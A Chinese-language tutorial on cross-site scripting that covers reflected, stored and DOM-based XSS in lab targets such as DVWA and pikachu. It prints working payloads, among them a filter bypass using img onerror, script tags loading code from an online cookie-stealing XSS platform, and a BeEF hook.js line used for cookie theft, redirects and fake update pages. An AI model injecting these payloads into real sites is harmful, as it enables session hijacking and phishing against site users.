web安全XSS跨站&反射型&存储型&DOM型
Posted Nu1LL+
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了web安全XSS跨站&反射型&存储型&DOM型相关的知识,希望对你有一定的参考价值。
一、了解XSS跨站脚本攻击
1、XSS原理
指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用户造成影响的html代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。通过在用户端注入恶意的可执行脚本,若服务器对用户的输入不进行处理或处理不严,则浏览器就会直接执行用户注入的脚本。
2、分类
反射型(非持久型) 存储型(持久型) DOM型
mXSS(突变型XSS) UXSS(通用型xss)
FlashXSS UTF-7XSS MHTMLXSS CSSXSS VBScriptXSS
3、危害
网络钓鱼,包括获取各类用户账号;窃取用户cookies资料,从而获取用户隐私信息,或利用用户身份对网站执行操作;劫持用户(浏览器)会话,从而执行任意操作,例如非法转账、发表日志、邮件等;强制弹出广告页面、刷流量等;网页挂马;进行恶意操作,如任意篡改页面信息、删除文章等;进行大量的客户端攻击,如ddos等;获取客户端信息,如用户的浏览历史、真实ip、开放端口等;控制受害者机器向其他网站发起攻击;结合其他漏洞,如csrf,实施进一步危害;提升用户权限,包括进一步渗透网站;传播跨站脚本蠕虫等
具体就参考大佬的博客:
https://blog.csdn.net/qq_35393693/article/details/86597707
https://segmentfault.com/a/1190000013315450
二、XSS产生原理-数据输入输出
先用这一段简单的php代码作为理解
<?php
$xss=$_GET['x'];
echo $xss;
?>
如果我们在传参里面构造一段js代码
<script>alert(1)</script>
这里简单来说就是构造一段js代码作为参数进行传递,让浏览器去识别到是js代码就把它当作js代码去执行,这就形成了xss攻击。
三、反射型XSS
反射型XSS又称为非持久性跨站点脚本攻击。漏洞产生的原因是攻击者注入的数据反映在响应中。非持久型XSS攻击要求用户访问一个被攻击者篡改后的链接,用户访问该链接时,被植入的攻击脚本被用户游览器执行,从而达到攻击目的。
正常的xss 、UA查询平台测试
<script>alert(1)</script>
发现xss可能被防火墙阻断了,哎只好百度绕过方法
https://blog.csdn.net/weixin_43079958/article/details/105336357
https://www.cnblogs.com/H4ck3R-XiX/p/12732356.html
经过测试发现使用事件属性onerror(): <img src=# onerror="alert('oldboy')"/>
可以绕过
使用HTML进行编码:
<img src=x onerror="alert('yangshuang')"/>
成功弹窗,只不过是反射型
四、存储型XSS
存储型XSS又称为持久型跨站点脚本,它一般发生在XSS攻击向量(一般指XSS攻击代码)存储在网站数据库,当一个页面被用户打开的时候执行。持久的XSS相比非持久性XSS攻击危害性更大,容易造成蠕虫,因为每当用户打开页面,查看内容时脚本将自动执行。
这里模拟一个存储型XSS漏洞环境,业务订单系统
火狐浏览器:模拟攻击者
谷歌浏览器:模拟受害者
这里我们在具体要求处,插入我们的xss攻击代码
然后在模拟受害者,在admin管理界面查看订单信息
可以看到弹窗,说明攻击成功,并且我们查看数据库发现已经存储到里面了
这里推荐几个xss平台方便后续的利用
https://github.com/beefproject/beef
https://github.com/sqlsec/BlueLotus_XSSReceiver
现在用一个在线的xss平台,来康康如何利用存储型xss窃取cookie
https://xss.pt/xss.php
创建好项目,选中默认模块
把<sCRiPt sRC=https://xss.pt/82MJ></sCrIpT>
这个代码插入刚刚的信息框,经过测试发现
<Img sRC=https://xss.pt/82MJp.jpg>
这段代码才可行
由于这个靶场确实有点问题,换成dvwa就没有问题
BeEF
BEEF (The Browser Exploitation Framework):一款浏览器攻击框架,用Ruby语言开发的,Kali中默认安装的一个模块,用于实现对XSS漏洞的攻击和利用。
BeEF主要是往网页中插入一段名为hook.js的JS脚本代码,如果浏览器访问了有hook.js(钩子)的页面,就会被hook(勾住),勾连的浏览器会执行初始代码返回一些信息,接着目标主机会每隔一段时间(默认为1秒)就会向BeEF服务器发送一个请求,询问是否有新的代码需要执行。BeEF服务器本质上就像一个Web应用,被分为前端和后端。前端会轮询后端是否有新的数据需要更新,同时前端也可以向后端发送指示, BeEF持有者可以通过浏览器来登录 BeEF 的后端,来控制前端(用户的浏览器)。BeEF一般和XSS漏洞结合使用。
参考:https://blog.csdn.net/whoim_i/article/details/102877616
beef专属xss <script src="http://192.168.111.129:3000/hook.js"></script>
成功上线,哒哒哒
获取cookie
URL跳转
假的网站更新
第一个填写图片,第二个填写要跳转的网址,也可以设置成要下载的东西
点击后就跳转到了你设置的钓鱼网址
五、DOM型XSS
我们可以把DOM理解为一个一个访问HTML的标准的编程接口,DOM是一个前端的接口,并没有和后端做任何的交互,所以基于DOM型的XSS漏洞不需要与服务器端交互,它只发生在客户端处理数据的阶段,简而言之DOM型XSS是在浏览器里处理
具体参考:https://www.jianshu.com/p/190dedd585f2
这里漏洞利用靶场pikachu
想查看一下页面源代码
当鼠标点击后会触发domxss()函数 这里的domxss就会对dom树进行操作,具体意思就是当在输入框输入字符或数字,进行点击触发domxss()函数,这里的domxss()函数会根据输入的字符找到 id:text,赋值给str,这样就造成了DOM型XSS,也可以清楚的看到这里的数据发生并没有经过服务器,而是直接在浏览器内就处理完成
构造payload,这里的单引号应该是进行一个闭合
' οnclick="alert('xss')">
弹窗xss
以上是关于web安全XSS跨站&反射型&存储型&DOM型的主要内容,如果未能解决你的问题,请参考以下文章